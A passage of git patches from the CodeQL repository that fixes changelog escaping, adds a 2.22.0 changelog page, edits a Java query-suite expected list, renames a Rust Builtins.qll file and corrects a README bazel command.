:code:`VarWrite` and :code:`VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in ``*Access``, use the corresponding ``*Call`` classes instead. -* Deleted a lot of deprecated predicates ending in ``*Access``, use the corresponding ``*Call`` predicates instead. +* Deleted a lot of deprecated classes ending in :code:`*Access`, use the corresponding :code:`*Call` classes instead. +* Deleted a lot of deprecated predicates ending in :code:`*Access`, use the corresponding :code:`*Call` predicates instead. * Deleted the deprecated :code:`EnvInput` and :code:`DatabaseInput` classes from :code:`FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from :code:`SensitiveApi.qll`, use the Sink classes from that file instead. @@ -144,7 +144,7 @@ Ruby * Deleted the deprecated :code:`ModelClass` and :code:`ModelInstance` classes from :code:`ActiveResource.qll`, use :code:`ModelClassNode` and :code:`ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated :code:`Collection` class from :code:`ActiveResource.qll`, use :code:`CollectionSource` instead. * Deleted the deprecated :code:`ServiceInstantiation` and :code:`ClientInstantiation` classes from :code:`Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from ``*Query.qll`` files. +* Deleted a lot of deprecated dataflow modules from :code:`*Query.qll` files. * Deleted the old deprecated TypeTracking library. Swift diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst index aa604d702e7..b6396b2be4e 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst @@ -207,5 +207,5 @@ JavaScript/TypeScript * Intersection :code:`&&` * Subtraction :code:`--` - * :code:`\\q` quoted string + * :code:`\q` quoted string diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst new file mode 100644 index 00000000000..04920497e4e --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.22.0.rst @@ -0,0 +1,82 @@ +.. _codeql-cli-2.22.0: + +========================== +CodeQL 2.22.0 (2025-06-11) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.22.0 runs a total of 450 security queries when configured with the Default suite (covering 165 CWE). The Extended suite enables an additional 128 queries (covering 33 more CWE). 1 security query has been added with this release. + +CodeQL CLI +---------- + +Breaking Changes +~~~~~~~~~~~~~~~~ + +* A number of breaking changes have been made to the C and C++ CodeQL test environment as used by :code:`codeql test run`\ : + + * Options starting with a :code:`/` are no longer supported by + :code:`semmle-extractor-options`. Any option starting with a :code:`/` should be replaced by the equivalent option starting with a :code:`-`, e.g., :code:`/D` should be replaced by :code:`-D`. + * Preprocessor command line options of the form :code:`-D#` are no longer supported by :code:`semmle-extractor-options`. :code:`-D=` should be used instead. + * The :code:`/Fp` and :code:`-o` options are no longer supported by + :code:`semmle-extractor-options`. The options should be omitted. + * The :code:`-emit-pch`, :code:`-include-pch`, :code:`/Yc`, and :code:`/Yu` options, and the + :code:`--preinclude` option taking a pre-compiled header as its argument, are no longer supported by :code:`semmle-extractor-options`. Any test that makes use of this should be replaced by a test that invokes the CodeQL CLI with the + :code:`create database` option and that runs the relevant queries on the created database. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Python +"""""" + +* Added SQL injection models from the :code:`pandas` PyPI package. + +New Queries +~~~~~~~~~~~ + +Golang +"""""" + +* Query (:code:`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the :code:`html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in `https://github.com/github/codeql-go/pull/493 `_. + +Language Libraries +------------------ + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Golang +"""""" + +* The first argument of :code:`Client.Query` in :code:`cloud.google.com/go/bigquery` is now recognized as a SQL injection sink. + +JavaScript/TypeScript +""""""""""""""""""""" + +* Added taint flow through the :code:`URL` constructor from the :code:`url` package, improving the identification of SSRF vulnerabilities. + +Swift +""""" + +* Updated to allow analysis of Swift 6.1.2. + +New Features +~~~~~~~~~~~~ + +C/C++ +""""" + +* Added a predicate :code:`getReferencedMember` to :code:`UsingDeclarationEntry`, which yields a member depending on a type template parameter. diff --git a/docs/codeql/codeql-overview/codeql-changelog/index.rst b/docs/codeql/codeql-overview/codeql-changelog/index.rst index be6d2582d6e..af427fd6915 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/index.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/index.rst @@ -11,6 +11,7 @@ A list of queries for each suite and language `is available here Date: Wed, 11 Jun 2025 17:02:26 -0500 Subject: [PATCH 268/271] escaping --- .../codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst | 2 +- .../codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst | 6 +++--- .../codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst | 2 +- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst index 9235d63fe2c..51ff05b0c3b 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst @@ -79,4 +79,4 @@ JavaScript/TypeScript * Added taint-steps for :code:`Array.prototype.toReversed`. * Added taint-steps for :code:`Array.prototype.toSorted`. * Added support for :code:`String.prototype.matchAll`. -* Added taint-steps for :code:`Array.prototype.reverse`\ +* Added taint-steps for :code:`Array.prototype.reverse`. diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst index c3012e020c7..a5c9c4f222f 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst @@ -117,8 +117,8 @@ Java/Kotlin * Deleted the deprecated :code:`isLValue` and :code:`isRValue` predicates from the :code:`VarAccess` class, use :code:`isVarWrite` and :code:`isVarRead` respectively instead. * Deleted the deprecated :code:`getRhs` predicate from the :code:`VarWrite` class, use :code:`getASource` instead. * Deleted the deprecated :code:`LValue` and :code:`RValue` classes, use :code:`VarWrite` and :code:`VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in :code:`*Access`, use the corresponding :code:`*Call` classes instead. -* Deleted a lot of deprecated predicates ending in :code:`*Access`, use the corresponding :code:`*Call` predicates instead. +* Deleted a lot of deprecated classes ending in ``*Access``, use the corresponding ``*Call`` classes instead. +* Deleted a lot of deprecated predicates ending in ``*Access``, use the corresponding ``*Call`` predicates instead. * Deleted the deprecated :code:`EnvInput` and :code:`DatabaseInput` classes from :code:`FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from :code:`SensitiveApi.qll`, use the Sink classes from that file instead. @@ -144,7 +144,7 @@ Ruby * Deleted the deprecated :code:`ModelClass` and :code:`ModelInstance` classes from :code:`ActiveResource.qll`, use :code:`ModelClassNode` and :code:`ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated :code:`Collection` class from :code:`ActiveResource.qll`, use :code:`CollectionSource` instead. * Deleted the deprecated :code:`ServiceInstantiation` and :code:`ClientInstantiation` classes from :code:`Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from :code:`*Query.qll` files. +* Deleted a lot of deprecated dataflow modules from ``*Query.qll`` files. * Deleted the old deprecated TypeTracking library. Swift diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst index b6396b2be4e..aa604d702e7 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst @@ -207,5 +207,5 @@ JavaScript/TypeScript * Intersection :code:`&&` * Subtraction :code:`--` - * :code:`\q` quoted string + * :code:`\\q` quoted string From a07ce30d30ee1b45c589a02afbaf7ce266643783 Mon Sep 17 00:00:00 2001 From: Ana Scolari <127357173+apsscolari@users.noreply.github.com> Date: Wed, 11 Jun 2025 15:27:20 -0700 Subject: [PATCH 269/271] Update java-code-scanning.qls.expected removing line once this query precision is changed to Medium --- .../java/query-suite/java-code-scanning.qls.expected | 1 - 1 file changed, 1 deletion(-) diff --git a/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected b/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected index a8ce00aca6c..3290e0d84b0 100644 --- a/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected +++ b/java/ql/integration-tests/java/query-suite/java-code-scanning.qls.expected @@ -12,7 +12,6 @@ ql/java/ql/src/Security/CWE/CWE-023/PartialPathTraversalFromRemote.ql ql/java/ql/src/Security/CWE/CWE-074/JndiInjection.ql ql/java/ql/src/Security/CWE/CWE-074/XsltInjection.ql ql/java/ql/src/Security/CWE/CWE-078/ExecTainted.ql -ql/java/ql/src/Security/CWE/CWE-078/ExecUnescaped.ql ql/java/ql/src/Security/CWE/CWE-079/XSS.ql ql/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql ql/java/ql/src/Security/CWE/CWE-090/LdapInjection.ql From 383cc5c2a796dd601249682376336e7796d1aa8c Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Thu, 12 Jun 2025 09:12:32 +0200 Subject: [PATCH 270/271] Rust: Rename `Bultins.qll` -> `Builtins.qll` --- .../codeql/rust/frameworks/stdlib/{Bultins.qll => Builtins.qll} | 0 rust/ql/lib/codeql/rust/internal/PathResolution.qll | 2 +- rust/ql/lib/codeql/rust/internal/TypeInference.qll | 2 +- rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql | 2 +- 4 files changed, 3 insertions(+), 3 deletions(-) rename rust/ql/lib/codeql/rust/frameworks/stdlib/{Bultins.qll => Builtins.qll} (100%) diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Builtins.qll similarity index 100% rename from rust/ql/lib/codeql/rust/frameworks/stdlib/Bultins.qll rename to rust/ql/lib/codeql/rust/frameworks/stdlib/Builtins.qll diff --git a/rust/ql/lib/codeql/rust/internal/PathResolution.qll b/rust/ql/lib/codeql/rust/internal/PathResolution.qll index 8c6ba765ba3..748fa0fa45d 100644 --- a/rust/ql/lib/codeql/rust/internal/PathResolution.qll +++ b/rust/ql/lib/codeql/rust/internal/PathResolution.qll @@ -5,7 +5,7 @@ private import rust private import codeql.rust.elements.internal.generated.ParentChild private import codeql.rust.internal.CachedStages -private import codeql.rust.frameworks.stdlib.Bultins as Builtins +private import codeql.rust.frameworks.stdlib.Builtins as Builtins private newtype TNamespace = TTypeNamespace() or diff --git a/rust/ql/lib/codeql/rust/internal/TypeInference.qll b/rust/ql/lib/codeql/rust/internal/TypeInference.qll index a6151eb62e7..715c0e3d4a3 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInference.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInference.qll @@ -7,7 +7,7 @@ private import Type as T private import TypeMention private import codeql.typeinference.internal.TypeInference private import codeql.rust.frameworks.stdlib.Stdlib -private import codeql.rust.frameworks.stdlib.Bultins as Builtins +private import codeql.rust.frameworks.stdlib.Builtins as Builtins class Type = T::Type; diff --git a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql index b4ef7f1d86d..51fc3d4c243 100644 --- a/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql +++ b/rust/ql/test/extractor-tests/canonical_path/canonical_paths.ql @@ -1,7 +1,7 @@ import rust import TestUtils private import codeql.rust.internal.PathResolution -private import codeql.rust.frameworks.stdlib.Bultins +private import codeql.rust.frameworks.stdlib.Builtins query predicate canonicalPath(Addressable a, string path) { ( From 02b75e884e362b03e8f3ef46cf45b53fb3b821dc Mon Sep 17 00:00:00 2001 From: Nick Rolfe Date: Thu, 12 Jun 2025 13:00:23 +0100 Subject: [PATCH 271/271] Rust: fix typo in README.md --- rust/ast-generator/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rust/ast-generator/README.md b/rust/ast-generator/README.md index 17d75c6445d..21193bdee1c 100644 --- a/rust/ast-generator/README.md +++ b/rust/ast-generator/README.md @@ -8,7 +8,7 @@ It uses: Both are fetched by bazel while building. In order to have proper IDE support and being able to run cargo tooling in this crate, you can run ```bash -bazel run //rust/ast-generator:inject_sources +bazel run //rust/ast-generator:inject-sources ``` which will create the missing sources. Be aware that bazel will still use the source taken directly from `rust-analyzer`, not the one in your working copy. Those should not need to be